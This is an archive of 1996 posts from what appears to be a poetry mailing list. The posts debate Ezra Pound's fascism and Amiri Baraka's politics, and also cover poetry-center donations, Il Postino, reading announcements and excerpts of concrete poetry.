--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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283. **Tim Wood**
Re: poetry center info/donations
Thu 14 Mar 1996

Henry,

I'll be sending materials in response to your querry on the Poetics group. You probably don't recognize my name, since I've been mostly lurking. Anyway, enough of that. As a bug to chew on your mind, how about setting up some sort of resource center for poetry resource centers. Put another way, I and Joseph Zitt are in the first stages of developing a poetry organization to act as a resource center/event organizer/whatever in N. Texas. And there seems precious little available out there on how to make that happen: what are the pitfalls, the shortcuts, the wise moves and foolish ones...

thanks,
Tim Wood

in space no one can hear you scream in Dallas no one cares...

Check out the Voices new poetry website at http://www.connect.net/twood/
the Word, Dallas' monthly arts guide: http://www/connect.net/twood/word.html
poetry & video poetry ---- graphic design & database development

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284. Christopher Filkins
Re: Bad Folks List
Fri 15 Mar 1996

Hey i once broke a dog's neck and i write pomes, do you think i can get on the bad poets list? Does anyone know if this will help my career? Am i left out cuz i haven't published racist polemics? Should i work some up right quick?

signed,
 poor misunderstood bastard looking for notoriety.

_____
In the undergrowth
There dwells a Bloath
Who feeds upon poets and tea.
Luckily, I know this about him
While he knows almost nothing of me!

- Shel Silverstein

↑ Index

285. chris daniels
Re: Thomas A Clarke
Fri 15 Mar 1996

---

cris ---

tell me more abt verey.

the mills stuff looks fantastic --- 1969-70 you say?
goes to show you.

later
---
christopher daniels <[redacted]> 3.15.96 12:59:31 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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286. **R I Caddel**
in for a pound
Fri 15 Mar 1996

"Every anti-semitism, anti-niggerism, anti-moorism, that I can recall in history was base, had its foundation in the meanest kind of envy and in greed. It makes me sick to see you covering yourself with that filth. It is not an arguable question, has not been arguable for at least nineteen centuries... it is hard to see how you are going to stop the rot of your mind and heart without a pretty thoroughgoing repudiation of what you have spent a lot of work on." - Basil Bunting to Pound, 1938.

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287. **Charles Alexander**
Re: Thomas A Clarke
Fri 15 Mar 1996

Cris,

Thanks so much for posting the work by Neil Mills. Marvelous. I'll have to try and find his books in libraries here, there, or somewhere.

charles

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288. **Henry Gould**
Re: poetry center info/donations
Fri 15 Mar 1996

Thank you, Tim - that's great! I HOPE OTHERS FOLLOW SUIT ON THIS LIST - I know there are a lot of publishers, manic book collectors, & poets who'd like their stuff read out there. One of the things we'll do to start with is make a big add-on poster roll call of all the people who donate materials. The Mission will send you something in exchange if you're taking books now.

Good idea about gathering info on how to set one up, though there must be endless different ways. I bet somebody could do a good oral history project on it, such places probably go back farther than we think. Lee Briccetti at Poets House in NY has always been friendly & helpful, they seem to have done pretty well & might have some ideas. They have gotten pretty good financial backing, it seems. Beyond Baroque has been around for a long time out in LA(?) though I don't know much about them.

We shall see how working with a library is. For a long time we had our sights set on downtown Providence, closer to the (mini) artist & theater scene; plus

there's a pretty active multi-arts punky funky dada thing going downtown called AS 220. But the logistics of renting space & protecting materials made starting in a library more feasible. Plus it sort of happened by chance. Edwin Honig & I discovered about 2000 copies of poetry & fiction books he had published in the late 70s - & subsequently turned over the operation to another publisher - sitting in a basement, still in good condition. We arranged with this library to have sets of 25 titles each distributed free to public libraries in the state & that formed the connection for us with this branch library. If other states are like RI, branch public libraries are one way to move some books (if you're not looking to sell!). Here they have a pretty efficient delivery network covering the whole (humoungous) state. Besides logistics, we liked the idea of connecting quiet reading, research, study & conversation with possibilities for performance. Cafes & bars are some scene, but I think poetry worth its salt has to be attended to, and then it takes you far out of the drab or homely performance space, whatever it may be, into its own reality. Tim, thanks again. For people still mulling this over, we would be very grateful for your extra poetry books, recent back issues of little mags, etc. Please email me at [redacted], or write to me at The Poetry Mission, POB 2321, Providence, RI 02906 if you have any questions about what to send, how it will be handled, etc. All materials can be sent to the same address. Thanks - HG

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289. **Michael Boughn**

Re: 16 Oz or

Fri 15 Mar 1996

> *I want to bow out of this discussion. But I must say I have chronic depression and it does not "make me reach out for anything." And if Nazism is the symptom, pray, what is the cure?*
>
> *Yes, I read Pound; I wouldn't deny myself that. I read Celine. I don't have bad boys and good boys. But I read through, not around, Nazism, just as I have to have an informed reading of Heidegger say for my own work.*
>
> *I would be careful about all this excusing fascism. Perhaps all fascists in Germany and Italy were chronically depressed?*
>
> *Alan*

Not to try and keep you in this, Alan, but one parting observation-- you're right, neither illness nor depression seem very relevant here. The way Robin Blaser taught Pound (it was him I first read Pound with 30 years ago) was as symptomatic of the dis-ease of our deeply troubled times that drives so many lively

minds, in their turn towards "utopian" remedies to our historical malaise, to become inhuman--Blake's Druids. Where "to build the city of Dioce whose terraces are the colour of stars" gets you. And where not building it gets you.

Mike

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290. **Jonathan A Levin**
Re: in for a pound
Fri 15 Mar 1996

Someone referred earlier to Charles Bernstein's essay on Pound in A Poetics, and I thought it worth quoting two lines at this point: "When Pound the great artist is excused for his politics, fascism has won. When Pound's politics are used to categorically discredit the compositional methods of his poetry, fascism has won" (p. 126). Nicely put.

It's extraordinary how utterly complicitous Pound can make us feel. The problem with Pound is that he's such a magnificent reader: he's a dream student, going out and digging things up and then making them his, swinging them into his orbit, setting them in motion in new and provocative ways. This, I take it, is what Bernstein means by the compositional method (it's also, I think, a reading method: which is where Kathryne Lindberg's terrific Reading Pound Reading: Modernism After Nietzsche converges with a postmodern, Language-ish Pound). Being a good reader, being a magnificent reader, and being a genuine revolutionary of poetic form, has nothing at all to do with being good. It makes you wonder what it is we have to teach, exactly: sentimental cliches about fellow feeling and peace? (We are the world and the like.)

Pound, I think, is a tremendous challenge. All I know about him, for myself, is that it's better to face such a challenge than to turn from it, to appreciate its many-sidedness, good and ill. How could anyone so smart, so talented, so full of lively intelligence, be so stupid, so simple-minded, so inhuman? No answer required.

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291. **Karen or Peter Landers**
Re: 16 Oz or (bow outs)
Fri 15 Mar 1996

Alan,

I suspect you will never really bow out, this runs too deep.

I have similar problems with Edmund Spenser, so I understand your emotion. There is also a lot of gaybashing and racism in other work by modernists. Edward Dorn, for instance, even though he denies it, upset my sense of justice, making Slinger seem like macho psuedo-intellectual rambling. It is true that "anyone can use logic to justify his emotions" (Twain). I realize my perspective is always colored by feelings.

It's easier to villify poets who write poorly. Modernism didn't have a Byron to write pastiches and lampoons. Maybe it would have helped.

Another reason this is a problem, for others probably as much as me, is because I want to draw a historical lineage. It's naive, I know, but the line from my favorite poets back to Whitman goes through Pound. If I look at it: Whitman - Pound - Zukofsky - Olson - (here it explodes into various Black Mountain and L=A=N=G=U=A=G=E people), I can see where the weakest link is in the chain. It is Pound. Compare any part of the Cantos to any part of "A" or Maximus, it really pales in comparison. And I don't know but it seems "A" was started before the Cantos and would have existed without the Cantos, however it was EP who told Poetry magazine to look into LZ, then LZ did the "Objectivism" issue and brought in many on his coattails. And there are certain techniques (indentation, repitition, lingering on the sound of a word from another language, imbuing words with stipulated meaning) that are forceful and effective. These techniques are also used by other prop- agandists, of course. And neo-beat neo-poetry has been airing a lot on ads for beer and jeans lately. Ad writers and speechwriters probably take great pride in their skill ... and when I make money as a tech writer I pull in my esthetic of simplicity. (a tangent, sorry)

The lineage I draw includes Pound. This does not mean that I condone him. He was sick, he was hospitalized for 20 years, he was punished. His karma includes this thread, which has been running for 50 years and will continue.

Frankly, I wish LZ had done something to upset people enough to talk about him to the same degree. Each time I see a young poet discover LZ and ask "how come nobody ever mentions this, it's awesome" I realize that the adage continues to hold: infamy is better than no fame at all.

Two more points (not directed at Alan in particular):

> Never say let's *not* talk about some poet on poetics. We'll end up with three weeks of that poet above all others.
>
> Never say _such-and-such_ is a bad word, for the same reason.

That said, let's *not* talk about Zukofsky; "objectivism" is a bad word. :)

peace (I can't even resist breaking my own rules!),

Peter Landers
[redacted]

Alan, I want to give you a hug! I *know* where you're coming from.

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292. **Joe Amato**
in the public domain...
Fri 15 Mar 1996

---

well speaking of poet-characters: what y'all think about *the postman*?...

i was bowled over by it...

joe

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293. **Joe Amato**
the postman...
Fri 15 Mar 1996

(ok, don't read this if you ain't seen the film)

chris s., seems to me in that last post of yours---which i found really useful & provocative---you've suggested reasons for liking *il postino* so thoroughly (and i'm thinking out loud): that the young man becomes absorbed with neruda in part b/c he mistakes the poet(ic) for the person(al), and that neruda becomes absorbed with the young man in part b/c he mistakes the person(al) for the body politic(al)... neruda/poetry for the young man is initially merely a means to making love, and the young man for neruda is initially merely a political gesture to reach (another) 'ordinary' man (like the miner he mentions)...

what makes the film so intriguing for me is how the personal gradually intrudes upon this reductive poet=person or person=political formula... in the scene where the young man attempts to rationalize neruda's abandoning him, what's really happening as i see it is that he's finally taking responsibility for his actions... i mean, it's clear he *knows* he's rationalizing at one level, but on another this is necessary, vital to his self-identity... ergo he forges a poetry of the island's sounds---a found poetry---a poetry of the ordinary that constitutes a gift in exchange NOT for the gift that neruda has given (and taken away)---guidance---but in exchange for neruda's friendship... in a sense, the young man is actually *befriending* neruda as an equal... if the social action that precipitates the young man's death is part poetry reading and part coming to age, it is also a public act of friendship (hence his poem's title has neruda's name in it) ...

but what really makes the film for me is its conclusion... as i read this emotional sequence, neruda is struck with the recognition that poetry constitutes neither pure political (-marxist) statement, nor pure aesthetic achievement (we never get to see the young man's poem)... in the final few moments, it seems to me (and with due regard for the lines from neruda with which the film concludes) poetry is understood as part of a larger social context that brings with it certain responsibilities... and neruda understands that he's reneged on his responsibility---not to politics or to poetry, but to the young man, the person who's implicated in both... the insight would seem to be that, however personal or political, poetry per se matters less than the person who writes it or reads it... and a thing more: that poetry can represent as much an avoidance of our responsibility in this regard as a means of addressing same... and for neruda to realize this---again?---as an older man--- well, i found it astonishing, and astonishingly rendered...

sorry for going on some, but that's a rough approximation of the way i saw the flick...

joe

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294. **Jerry Rothenberg**
Re: Pound takes a "Ding" -Returns a "Dong"
Fri 15 Mar 1996

Somewhere along the line of the deja vu Pound discussions comes the statement "there seem to be no women in his circles" as against his extraordinary elevation of the young H.D. as the exemplary Imagist poet, his promotion of the work of Moore and Mina Loy very early along -- however anyone might want to explain that away. It is interesting to consider too how the most telling impact of his work -- the most vital influence -- was precisely on poets who politically, morally, might have been at the greatest distance from it. I mean particulary in my generation and beyond. I take it that this is Pound's legacy also -- in the strange way that these things work.

Jerome Rothenberg

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295. **Alan Golding**
West coast trip
Fri 15 Mar 1996

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

I'll be in San Diego the evening of Th. March 28, and either there or LA the evening of Fri. March 29. Anyone know of readings / performances / other interesting stuff going on either place on those dates?

Alan

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296. David Kellogg
Re: ghost titles
Fri 15 Mar 1996

Don't know if these would count, but

I recall seeing Thomas Pynchon's VINELAND listed in a prepublication *Books in Print* as *Vineland, Volume 1."

And wasn't Pynchon supposed to be writing a Civil War novel?

Cheers,
David
~~~
~~~

Sponsored Event at Hebrew Union College-Brookdale Center 1 West 4th Street(near W.Bway)Rob Fitterman/Kim Rosenfield/Hugh Seidman All events Free|| For more info. mail me at this address or at 212/[redacted]

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298. Charles Alexander
Re: 16 Oz or (bow outs)
Fri 15 Mar 1996

From a post from Karen or Peter Land: Frankly, I wish LZ had done something to upset people enough to talk about him to the same degree. Each time I see a young poet discover LZ and ask "how come nobody ever mentions this, it's awesome" I realize that the adage continues to hold: infamy is better than no fame at all.

I'm not at all certain about this. Sometimes I think it's the hateful work which, in part, comes out of the desire for fame, notoriety, etc. Has being famous helped anyone's work? Would it have made LZ a more interesting poet? Has it made Michael Jackson a better songwriter/performer? Has it helped Bob Dylan?

True, it does seem necessary to get noticed, and I think of some of the finest work of our moment being done by people who aren't all that good at getting noticed, such as Bev Dahlen, Mei-mei Berssenbrugge, and M. Nourbese Philip (thanks to Paul Naylor for suggesting this last writer). And I would like them to have more attention, but I'm also concerned that having a lot of fame/notoriety might not help their work at all.

I don't mean I want writers to be unnoticed, just that fame takes a price probably at least equal to what it gives.

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299. Dan Machlin
Additional Readings at Segue
Fri 15 Mar 1996

Sorry folks, my list of Segue Performance Space Readings got too big for my scr reen. Here are those additions: these all on Thursday at 7:30 p.m. at 303 E. 8t h Street between Avenues B&C. Refreshments. All free except BIG ALLIS event. THURSDAY, May 16th, 7:30 p.m. Bill Luoma/Deirdre Kovac THURSDAY, May 23rd, 7:30 p.m. Blockbuster Reading to celebrate BIG ALLIS # 7 (Modest Contribution) Release Party Reading Hosted by Melanie Neilson: featuring Bruce Andrews, Marti ne Bellen, Abigail Child, Ulla Dydo, Rob Fitterman, Elizabeth Fodaski, Deirdre Kovac, Jena Osman, Joan Retallack, Kim Rosenfield, Juliana Spahr &Hannah Weiner THURSDAY, June 6th, 7:30 p.m. Special Gay Pride

Week Presentation Mark McBeth - Lecture: THE QUEENS' ENGLISH: The Forms and Function of Gaylect With New Video Work and Special Guest t.b.a. Thursday, June 13th, 7:30 p.m. Sharon Lattig/Krysia Jopek

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300. David Baratier
battling the other
Fri 15 Mar 1996

Re; Goulds comments on the Harlem Ren. and CS on Baraka

I take it that these issues aren't important enough to be dealt with on this list, that people are too intent on defining themselves, others and the like. Our passion for categorization, life neatly sectioned into graspable sanctions, has led to an unforeseen paradoxical distress; confusion, a breakdown of meaning into THAT WHICH CAN ONLY BE DEFINEC. The aim has become to reduse all writers to the compulsive, bloodless dimensions of a moniker or an empty sign (which ever fits your terminology better). The proper name is merely artifice. Baraka has indirectly given many their freedom through his audacity to say that which needs to be said. Most of the writers avoided in the academe', oh say Kenneth Patchen as another particular, are refused status because the force of the WORD as a power of revolution, one which builds and destroys countries, has been forgotten or not accepted as an important aspect and function of writing. While the academy of the future might have been opening its doors at that time, the door was one of singular speech variety: one that didn't offend the american sense of progress limited to the social arena, one which was divested of overarching human concerns such as poverty, violence, or slums for the sole sake of retaining the cloud of statistical safety.

David Baratier

As the inner fails, people run desperately to the post-office. -Thoreau

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301. Charles Watts
Action Derrida (et al) francaise
Fri 15 Mar 1996

Guyzies, this lookt interesting in light of the recent discussion around Derrida:

Forwarded message: > From owner-english-dept Fri Mar 15 13:42

> *Date: Sun, 25 Feb 1996 16:22:01 -0600 (CST)*
> *From: anderson kevin <[redacted]>*
> *Subject: French Intellectuals and Political Engagement*

Sender: [redacted]
To: PROGRESSIVE SOCIOLOGISTS NETWORK <[redacted]>
Reply-to: [redacted]
MIME-version: 1.0
Precedence: bulk
X-To: progressive sociologists <[redacted]>

The following commentary on "French Intellectuals and Political Engagement" by Kevin Anderson, Department of Sociology, Northern Illinois University, DeKalb, IL 60115, was broadcast on KPFK-FM (Pacifica Radio, Los Angeles) on Febuary 12, 1996:

At a time when French thought - from deconstruction to post-structuralism to difference feminism - continues strongly to influence radical thought in the U. S., especially in academic circles, there is a curious omission in much of the U. S. reception of these French thinkers. Here in the U. S., the work of these thinkers is often presented as if it were cut off from the social and political engagement which marked earlier generations of French intellectuals.

Such a reception is distorted, as can be seen by the intense involvement of French intellectuals in a number of current political issues, including, most recently, the massive anti-austerity strikes of last December, which at their peak brought over 2 million disaffected workers and students onto the streets of Paris and other cities. The strikers forced the conservative Chirac-Juppe government to withdraw most of a series of budget cuts which would have drastically lowered the standard of living of public employees. While the December strikes were reported at least sporadically by the American mass media, the involvement of leading French intellectuals in the strike has been passed over in silence.

At the beginning of the labor protests, a few progressive intellectuals criticized the strikers and tacitly supported the austerity plan. These included the sociologist Alain Touraine, who called the government measures "courageous", the philosopher and human rights activist Bernard-Henri Levy, who termed the strikers a privileged special interest group, and the editorial board of the left of center Catholic journal Esprit.

These efforts to distance progressive intellectuals from the workers met with a furious reaction from hundreds of other well-known intellectuals of the left. By December 4, over 500 leading intellectuals, including the sociologist Pierre Bourdieu, a professor at the prestigious Collège de France, where luminaries such as Maurice Merleau-Ponty and Michel Foucault once held professorships, had organized an "Appeal to Intellectuals in Support of the Strikers." The intellectuals' appeal spoke of "our responsibility to affirm publicly our solidarity with ...this movement, which has nothing to

do with the defense of special interests and still less that of privileges. In fighting for their social rights, [the appeal continued], the strikers are fighting for equal rights for all: women and men, young and old, unemployed and employed, public employees and those working in the private sector, immigrants and French men and women." Among the other signers of the appeal were the deconstructionist philosopher Jacques Derrida, Regis Debray, the companion of Che Guevara in Bolivia during the 1960s, the feminist philosopher Christine Delphy, the Trotsky biographer Pierre Broue, the Marxist theorist Michael Löwy, and the historian Pierre Vidal-Naquet.

Pierre Bourdieu also addressed a large meeting of workers on the evening of December 12, following the demonstrations of over 2 million. "This crisis is a historic chance," Bourdieu said, "for France and for all those who refuse the new choice given to us: free market liberalism or barbarism." He castigated experts who, "using the authority of science, especially economics," tell us that "they know what is best for people, even when it goes against the popular will." Today's economic and social problems, Bourdieu concluded, "are too important to be left to technocrats." In France, a country where the opinions of intellectuals carry greater weight than in the U. S., Bourdieu's speech was reported on the front page of the country's leading newspaper, Le Monde.

This "return" by French intellectuals to political engagement has been building all through the 1990s. Over the last few years, a number of leading intellectuals have spoken out forcefully against the genocide in Bosnia, and against a series of draconian and racist anti-immigration laws passed by the French government.

The philosopher Jacques Derrida is a good example of this engagement in the 1990s. In the last few years, Derrida has (1)strongly supported the Bosnian cause, (2)campaigned on behalf of the feminist writer Taslima Nasreen, still under a death sentence by Islamic clerics in her native Bangladesh, (3)spoken out against racism in France and abroad. With regard to racism, of particular note was Derrida's lengthy August 1995 article, carried on page one of Le Monde, on behalf of African-American writer Mumia Abu-Jamal, who still faces a death sentence in Philadelphia. Derrida lashed out at the State of Pennsylvania "for wanting to offer more 'Black blood' in a racist frenzy, and this in a state which dares to boast of being the place where the U. S. Constitution was written, a Constitution whose letter and spirit it violates daily." In his 1993 book, Specters of Marx, Derrida also pointed to the importance of rereading Marx today in order to understand and act upon the cultural, economic, and social crisis. Something is definitely stirring today among French workers and intellectuals, something of which we need to be more aware.

> ---
> *James G. Ennis <[redacted]>*
> *Sociology, Tufts University*
> *Medford, MA 02155 USA*
>
> *[redacted] x2473*
> *fax: [redacted]*

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302. **cris cheek**
Re: Thomas A Clarke / Charles Verey / Neil Mills et al
Fri 15 Mar 1996

> *tell me more abt verey.*

well i don't know too much myself. He was an art teacher who was a member of the Gloucestershire Group aka the Gloucestershire Ode Construction Company, centred around Dom Sylvester Houedard. He's worth a prolonged diversion here. Some readers here may know of Dom, a remarkable figure who lived at Prinknash Abbey in Gloucester and went awol with his typewriter and his sexualities every now and again and again. Perhaps most outlived (at present - there's a huge reclamation project under way spearheaded by Bob Cobbing and Peter Manson of the excellent 'Object Permanence') by his simplified translation of the Basho haiku as 'frog pond plop'. Many will recognise a fine bp nicol running gag in that one. Dom Dylvester was a remarkably erudite man with rangey understanding of poetries, particularly those with sonic and spatial concerns. His own typewriter poems are quite extraordinary and I'm no way going to attempt to place one of them here. I simply recommend that you track them down. He prolifically translated and mis-translated, in particular from the Chinese. He archived assiduously.

Charles Verey edited the best collection I know of (ceolfrith 15) dedicated to his work from which 2 poems:

streets go

BOTH

crazy ways

at once.

if this hp

soul were a

portable

id take it ev

rywhere

beaches choir buses

bluecinemas and chap

termeetings

cafes innerspace

& play

it full blast

the second is dated 1963

this poem

all it represents

what

?

_____

this transvestite poem parading about in somebody else's prose

_____

my mind

transparent this

between

here.

So that's a mere taste of Dom. Verey ran a small press called South Street. Neil Mills and Thomas A Clark were both also members of this Gloucestershire network. The poet John Wilkinson acknowledges this as his start-off patch in the early seventies. Thomas A Clark edited a little mag call 'bo-heem-e-um' and its no.3. january 1968 edition was a Charles Verey (rare as hens' teeth) special. Much of his work is so spatially set (often angled) as to be no use in thise space. It's work that unsettles me by dint of a sentimental undertow within a seeming arcane stream. But i'll post a couple of more robust bits - (this is from a booklet 'some soundings' of 1970) i can only exerpt what's feasible [chunks are missing]:

POEM ZERO (for Tom)

Rose no more

Fat Bastard - who cares?

Squirrel seen rarely so
yr beechnuts rise into
this ether
                newly brother
light even
                tangible in
tubes and
                meander
thro' clouds

Red was it
roses are red
be hanged . fat

Moon meaning
thrown into running water
fortunes . that easy . of gold

Black is colour
of love
some . more azure
some . more green
some . more umber

[. . .]

trine tarry
        a ritual
      that burn
and the little mist that rise , above the holme
      AND GROAN
        crackle as timber
        stakes MALT by
          former
            skills
        of terraces
        particles
        dust and scorpion lanes
        fingered before the
        holocaust
        slide

      and across the water
      glimmer the fail line
      of two planets

[. . .]

blood rumba beating in the suburb blood
rumba in the beating suburb blood
rumba beating in the blood
in the rumba blood
blood rumba
blood

love and love
cris

↑ Index

303. Aldon L. Nielsen
Re: AN: Aldon Nielsen: BAD
Fri 15 Mar 1996

---

no way to part Baraka's petics from his politics -- But, have to read things like _Rays, Raise etc._ and the essay that was titled (not by Baraka) "Confessions of an Ex-Anti Semite" -- alongside Stalinist verse of late 70s,,, alongside, in turn, more lyric pieces that appeared throughout -- Can't abide the antismitism of the earlier pieces, the homophobia of same period, the Stalinism that still appears from time to time,,, nor can I simply read around them as if they weren't there -- Have somehow to account for all of these appearing in the same man's life -- not easily accomplished ["poetics" for "petics" above]

If one risks thinking out loud, one must be prepared to take repsonsibility for that loud thought (& Baraka has always been, as an early poem put it, loud on the changing of his ways)

Derrida's remarks on the reading of Nietzche in his _The Ear of the Other_ have much to offer this discussion that so many are bowing out of --

↑ Index

304. chris daniels
Re: AN: Aldon Nielsen: BAD
Fri 15 Mar 1996

> *Derrida's remarks on the reading of Nietzche in his _The Ear of the Other_ have much to offer this discussion that so many are bowing out of --*

now that things have calmed down, i'm bowing back in.

i think it's very clear where i stand on the whole subject. if i may, i wld like to elaborate.

that asshole pound was terribly hurt by the death of his dear friend gaudier-brzseska in WWI. WWI was perceived (rightly) as the deathknell of an entire civilization. even yeats flirted w/ fascism. wyndham lewis. they were all grasping at straws because everything they knew had just been shown to be bullshit. i can't imagine how painful that must have been for these people.

i'd rather talk abt what fascism IS than talk abt how LOUSY it is --- we all agree on that, we all want to see an end to injustice and blind hatred.

fascism as i understand it is a combination of several things:

nationalism, deep concern w/ roots

> charles olson
> wc williams

belief in and insistence upon racial purity

> castigate zukofsky for agreeing w/ "purifying the language of the tribe"

coupled w/ racial/sexual intolerance

> kill the hip-hop artists

exclusionism

> get rid of the anthologists

bizzare distortions of history

> anyone who insists their cultural (in the widest possible sense of the word) ancestry is free from evil

mysticism

> robert duncan
> robert kelly
> jack spicer
> john donne
> wm blake
> christopher smart
> abu abulafia
> paul celan

blaming one's own problems on The Other

> everybody alive on this earth from the beginning of history

proto-fascists, each and every one of the above named.

okay. hitler was a vegetarian therefore all vegetarians partake in his madness to some degree.

goebbels was a dope fiend so heroin addicts?

fascism is one of the most recent of our blights. we HAVE to discuss it, but let's please try to discuss it w/o rancor no matter how much we hate it, otherwise we just end up getting pissed at each other, people bow out and nothing gets learned.

i enjoy this list very much, and hope my outbursts have not alienated anybody.

thanks

chris
---
christopher daniels <[redacted]> 3.15.96 5:25:45 pm

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

305. Chris Stroffolino
Re: ghost titles
Fri 15 Mar 1996

then there's the dreaded book by Harold Bloom--
    FREUD: TRANSFERENCE AND AUTHORITY.....

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306. Chris Stroffolino
Re: AN: Aldon Nielsen: BAD
Fri 15 Mar 1996

Dear Aldon-- thanks for taking up the baraka thread.... okay, i grant you these negative things about baraka BUT there's a couple issues here.... first, wasn't baraka closeted himself (re homophobia).... secondly, was talking to a *friend* lately about Laura Riding's THE WORD "WOMAN" in which at one point she makes an anti-homosexual statement....and we decided to

"historicize" and "contextualize" it (in terms of her "project") as making a valid point about the homosocial qualities of the heterosexual male dominated canon and/or culture industry..... But the more important question I think needs to be raised, re WHOEVER (Baraka, Pound, Riding) is a question of OUR stance, and also of the the relationship between it and criticism of others. It's pretty damn easy and done over and over again recently to speak from a perspective of IMPLIED values ("liberal" and "democratic"?)--and this is not targeted at Aldon btw--and reactively critique the "great masters" for flaws in their politics. And this is a necessary step perhaps towards self-definition. Yet it seems so many are not going beyond it. Part of the MALAISE I see in academia and perhaps the poetry world is this FEAR of taking a stance. Alot of stuff I'm reading seems to have this attitude that "THOSE NAIVE MODERNISTS, those naive beats," back in the days when people really believed in such silly things as saying things, or even creating the illusion of immanence, or something.... related to this is the question of p.c. type verse.... probably one of the reasons the pound/baraka threads have been so HEATED is because there's passionate attachment and/or investment to the work (Pound: "can't move 'em with a cold thing like economics"--all writing is hero worship, etc.)--much of which has to do with PERSONALITY.... now there was the ANTI-PERSONALITY movement, the trouble with DUNCAN and GINSBERG, etc--that was perhaps born out of a recognition of the analogy with such differentiation on a personal level with a need for HEIRARCHIES which becomes disturbing on a "political" level. And since the personal is the political, therefore any admission even on aesthetic and/or subjective/psychological plane of the need for heirarchies is problematic and proto-fascist. I think such a rational needs to be rethought--it definitely accounts for why so many L poets don't write about things like LOVE and marriage from any kind of immanent perpsective --that becomes consigned to the margins and ironically the art/life distinction THICKENS (with usury?).... If we look at Pound from the perspective of a poet dissatisfied with the tepid PC qualities of his day (which he saw in ROOSEVELT, who for us of course is far better than CLINTON---WPA stuff etc...) and remember that he was looking for JEFFERSON and had to settle for MUSSOLINI, and that perhaps it was done out of a feeling of powerlessness--despite how POUND is now served up as a cultural authority (Oh yikes, I really didn't want to get into pound again....), we may not be able to REDEEM him, but at least we can see why it's NOT JUST THE FORMAL QUALITIES OF HIS WORK that make him a more potentially subversive poet than the so-called liberal stuff that gets in the NEW REPUBLIC or THE NATION..... But Baraka is (as Emily Lloyd brought up) a different issue because there is a LOT more empowering on a strictly political level to him.... sometimes I wonder if the critical attitude of superiority is not a form of censorship---and if that's the case why not

THROW OUT EVERYBODY..... Ginsberg is AT LEAST as compromised as Baraka, for instance.... I mean why not dwell on the good Baraka did, does---or is there a fear of that VULGAR MARXISM again, or does it come to close to home.... that maybe looking at BARAKA and seeing his failure, we retreat into the academy, and then convince ourselves it's not a retreat. And maybe it isn't. But Baraka went to jail to help blacks, not to bash gays.... Yeah, he failed. Well, we fail too--especially if we side with the boring drab academic drudges AGAINST the barakas of the world..... I'm not saying anybody here necessarily is. But if you can't change anybody's mind (shades of alfred corn!), at least there can be unity in diversity. I used to be involved in local political groups in the early 80's and we always got into arguments over the one or two things that divided us. That attests I think more to the NEED FOR ARGUMENT than anything. And though Lou Reed sang that song to Jesse Jackson about common ground (great guitar playing, LOU!) about "common ground", I still would rather accentuate the positive when it comes to Baraka.... Just as Susan Howe wrote HER Emily Dickinson. As Rod Smith says "you take what you need and leave the rest...." .....okay, i contradict myself...i am contained by multitudes....

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307. **Wendy Battin**

Re: let's talk about fascists, bay-bee...

Fri 15 Mar 1996

Sorry, been away, and am only on digest lately. But where can I find Perelman's piece on EP? It's always seemed important to me to keep him in mind, both as great poet and as vicious politician--a warning that poetry doesn't make us what we'd like to think it does. Also a very personal warning to the autodidact and the isolated bright against the arrogance that comes with that territory--I wasn't born in Idaho in the 19th C., but grew up where his "I don't imagine America has any more idiots per capita than anywhere else" (loosely from memory) was a perverse comfort. Bad news. All that mostly entertaining early rage had to go somewhere, and there were plenty of hate-machines to absorb it. Still are. While I sympathize with Alan's refusal, I don't think it's safe to ignore this man, to rub him out of memory before we've taken him in. And his poetry caught me young & still shakes me--Pisan Cantos, yes, also Rock Drill & many others--to the point where I can't stop asking, ever, who can afford to hide in talent or even in genius.

Wendy

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308. **Chris Stroffolino**
Re: let's talk about fascists, bay-bee...
Fri 15 Mar 1996

Dear Wendy Battin--- Perelman's main writing on POUND is in "THE TROUBLE WITH GENIUS" (U-CAl Press, 1995, or is it 94?). He also had some essay on POUND and CELINE in an earlier form in POETICS JOURNAL..... I sat in on a course with him at U-Penn in 1990 on Pound and Stein and it was quite brilliant---really did close readings of ABC of READING and GUIDE TO KULCHUR as if they were POEMS rather than "prose"--- ---c, stroffolino

↑ Index

309. **Schuchat**
Re: poetry center info/donations
Fri 15 Mar 1996

Henry, considering the location ("Cranston near the city line") might I suggest you name the poetry center after that son of Providence, Ted Berrigan?

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310. **Ada Aharoni**
Re: Bury Fascist Ezra Pound
Sat 16 Mar 1996

> At 11:36 PM 3/13/96 +0200, Ada Aharoni wrote:
>
> >What I suggest is -- just bury the guy and forget about him, alongside his "genius mates" Hitler and Mussolini.

> Steve Carll answered:
> It would be nice if things were this simple, wouldn't it?
>
> Hi!
It could be that simple if we make it so. One of the methods I've used is just refuse to teach him to my students, and have stopped reading him a long time ago. From my point of view and that of many of my colleagues and students, as well as poets\critics around the world - Ezra Pound has already been buried alongside his "genius" friends, Hitler and Mussolini. Please don't resurrect him! He's dangerous to our world! Let's read Wilfred Owen instead, perhaps we would bring our world one inch closer to the world beyond war he dreamed about.

Ada Aharoni

↑ Index

311. chris daniels
Re: Bury Fascist Ezra Pound
Sat 16 Mar 1996

---

but, ada, fascism didn't just suddenly spring into existence because of the minds of the "geniuses" you'd like to eradicate --- didn't stalin and mao love to rewrite history? --- it was and is a product of several thousand years of human history. don't you think it wld be better to try to undertsand why fascism exists instead of sweeping it under the carpet where it can fester and erupt again? the more we look at fascism, the more we expose it, the less of a chance it has of gripping our lives. bt we can not simply point a finger and accuse: we have to do our best to understand, even if that understanding may be very painful. because ultimately don't we have to examine our very souls for the seeds of fascism?

yrs ---

chris

---
christopher daniels <[redacted]> 3.16.96 12:07:56 am

q: "how can you be revolutionary when 20 years ago they
  said anything goes?"
                --- charles wourinen (?)

a: "free yr mind and yr ass will follow."

                --- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

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312. Alan Sondheim
Re: Bury Fascist Ezra Pound
Sat 16 Mar 1996

